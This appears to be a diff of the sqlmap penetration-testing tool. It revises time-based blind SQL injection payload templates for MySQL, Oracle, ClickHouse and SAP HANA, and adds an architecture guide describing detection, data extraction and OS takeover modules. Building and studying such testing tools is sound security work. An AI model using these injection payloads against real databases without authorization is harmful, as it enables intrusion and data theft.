<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of time-based boolean tests -->
|
<!-- End of time-based boolean tests -->
|
||||||
|
|
||||||
<!-- Time-based boolean tests - Numerous clauses -->
|
<!-- Time-based boolean tests - Numerous clauses -->
|
||||||
@@ -1472,9 +1663,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1492,9 +1683,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1506,15 +1697,15 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
|
<title>MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
|
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[DELAYED]</time>
|
<time>[DELAYED]</time>
|
||||||
@@ -1525,6 +1716,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL time-based blind - Parameter replace (bool)</title>
|
<title>MySQL time-based blind - Parameter replace (bool)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1532,9 +1743,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
|
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
|
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1551,9 +1762,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1570,9 +1781,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1638,11 +1849,30 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
||||||
|
<!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
|
||||||
|
<test>
|
||||||
|
<title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
|
||||||
|
<request>
|
||||||
|
<payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Oracle</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
<title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1785,7 +2015,7 @@
|
|||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>3</where>
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
|
||||||
@@ -1805,7 +2035,7 @@
|
|||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>3</where>
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</payload>
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</payload>
|
||||||
@@ -1847,9 +2077,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1861,7 +2091,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
|
<title>MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -1936,7 +2166,25 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Oracle</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -2038,5 +2286,82 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA AND time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA OR time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>SAP HANA</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+518
-119
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,255 @@
|
|||||||
|
# sqlmap architecture
|
||||||
|
|
||||||
|
A contributor-oriented map of how sqlmap is put together: the major components,
|
||||||
|
how a run flows through them, and where to start looking for a given concern.
|
||||||
|
|
||||||
|
> This is a map, not a spec. It describes the durable structure and data flow; for
|
||||||
|
> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
|
||||||
|
> the source is authoritative. **When this document disagrees with the code, the code wins.**
|
||||||
|
|
||||||
|
sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
|
||||||
|
non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
|
||||||
|
`thirdparty/six`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Entry points
|
||||||
|
|
||||||
|
| Entry | File | Purpose |
|
||||||
|
|-------|------|---------|
|
||||||
|
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
|
||||||
|
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
|
||||||
|
| Library | `import sqlmap` -> `lib/utils/library.py` | `scan()` / `scanFromRequest()` for programmatic callers; like the API, it drives the engine as a subprocess. |
|
||||||
|
|
||||||
|
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
|
||||||
|
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
|
||||||
|
setup), then dispatches to `start()` for a normal scan, or to the self-tests
|
||||||
|
(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Global state: `conf` and `kb`
|
||||||
|
|
||||||
|
Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
|
||||||
|
both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
|
||||||
|
|
||||||
|
- **`conf`** - the resolved user configuration (options + derived settings). What the
|
||||||
|
user asked for.
|
||||||
|
- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
|
||||||
|
(identified DBMS, injection points, page templates, caches, locks, counters).
|
||||||
|
|
||||||
|
The configuration pipeline (`lib/core/`):
|
||||||
|
|
||||||
|
- `parse/cmdline.py` - argparse definition of every CLI option.
|
||||||
|
- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
|
||||||
|
- `core/defaults.py` - default values.
|
||||||
|
- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
|
||||||
|
`_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
|
||||||
|
setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
|
||||||
|
- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
|
||||||
|
|
||||||
|
Identifiers in the codebase are camelCase.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Top-level layout
|
||||||
|
|
||||||
|
| Path | Responsibility |
|
||||||
|
|------|----------------|
|
||||||
|
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
|
||||||
|
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
|
||||||
|
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
|
||||||
|
| `lib/techniques/` | the exploitation engines: `blind/{inference,multibit}.py`, `error/use.py`, `union/{test,use}.py`, `dns/`, plus one directory per non-SQL family (`ssti/`, `nosql/`, `xpath/`, ...) |
|
||||||
|
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
|
||||||
|
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
|
||||||
|
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
|
||||||
|
| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
|
||||||
|
| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
|
||||||
|
| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
|
||||||
|
| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
|
||||||
|
| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
|
||||||
|
| `tests/` | stdlib-unittest suite (offline); see section 11 |
|
||||||
|
| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
|
||||||
|
| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
|
||||||
|
|
||||||
|
For each target:
|
||||||
|
|
||||||
|
1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
|
||||||
|
resolve URL/params, open the per-target output dir and session file
|
||||||
|
(`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
|
||||||
|
cached values) from the session.
|
||||||
|
2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
|
||||||
|
`checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
|
||||||
|
dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
|
||||||
|
3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
|
||||||
|
4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
|
||||||
|
the data engine (section 5). Confirmed points are appended to `kb.injections`.
|
||||||
|
5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
|
||||||
|
back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
|
||||||
|
enumeration is dispatched (section 7).
|
||||||
|
6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
|
||||||
|
(`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
|
||||||
|
`conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
|
||||||
|
|
||||||
|
If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
|
||||||
|
`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
|
||||||
|
`SqlmapNotVulnerableException`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. The data-driven detection engine
|
||||||
|
|
||||||
|
Detection behavior lives in **data, not code** - `data/xml/`, loaded by
|
||||||
|
`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
|
||||||
|
|
||||||
|
- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
|
||||||
|
clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
|
||||||
|
- **`payloads/*.xml`** - the *tests*, one file per technique
|
||||||
|
(`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
|
||||||
|
`union_query`), each with the request template and the comparison/grep logic that
|
||||||
|
decides success.
|
||||||
|
|
||||||
|
`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
|
||||||
|
identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
|
||||||
|
forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
|
||||||
|
`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
|
||||||
|
`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
|
||||||
|
by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
|
||||||
|
plus titles/errors/HTTP-code signals).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Exploitation techniques
|
||||||
|
|
||||||
|
Once a parameter is injectable, value extraction is dispatched by
|
||||||
|
`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
|
||||||
|
|
||||||
|
| Technique | Engine | Mechanism |
|
||||||
|
|-----------|--------|-----------|
|
||||||
|
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
|
||||||
|
| multi-bit blind (`--multi-bit`) | `blind/multibit.py` | opt-in; reads several bits per request out of the rows a listing page renders |
|
||||||
|
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
|
||||||
|
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
|
||||||
|
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
|
||||||
|
| inline query | (inline, via inject) | value embedded in the original query position |
|
||||||
|
| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
|
||||||
|
|
||||||
|
`bisection()` is the hot loop; it caches the `--charset` table in
|
||||||
|
`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
|
||||||
|
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
|
||||||
|
`getCurrentThreadData()` (`lib/core/threads.py`).
|
||||||
|
|
||||||
|
**Non-SQL engines.** `--nosql`, `--xpath`, `--ldap`, `--ssti`, `--graphql`, `--hql`, `--sparql`,
|
||||||
|
`--odata`, `--xslt`, `--xxe` and `--jwt` do not go through the pipeline above at all. Each one is a
|
||||||
|
self-contained scanner in `lib/techniques/<family>/inject.py`, dispatched from `controller.py` and
|
||||||
|
registered once in `NONSQL_TECHNIQUES` (`lib/core/settings.py`) - that tuple is what the rest of the
|
||||||
|
code tests against, so a new family is declared there and nowhere else. The response comparison,
|
||||||
|
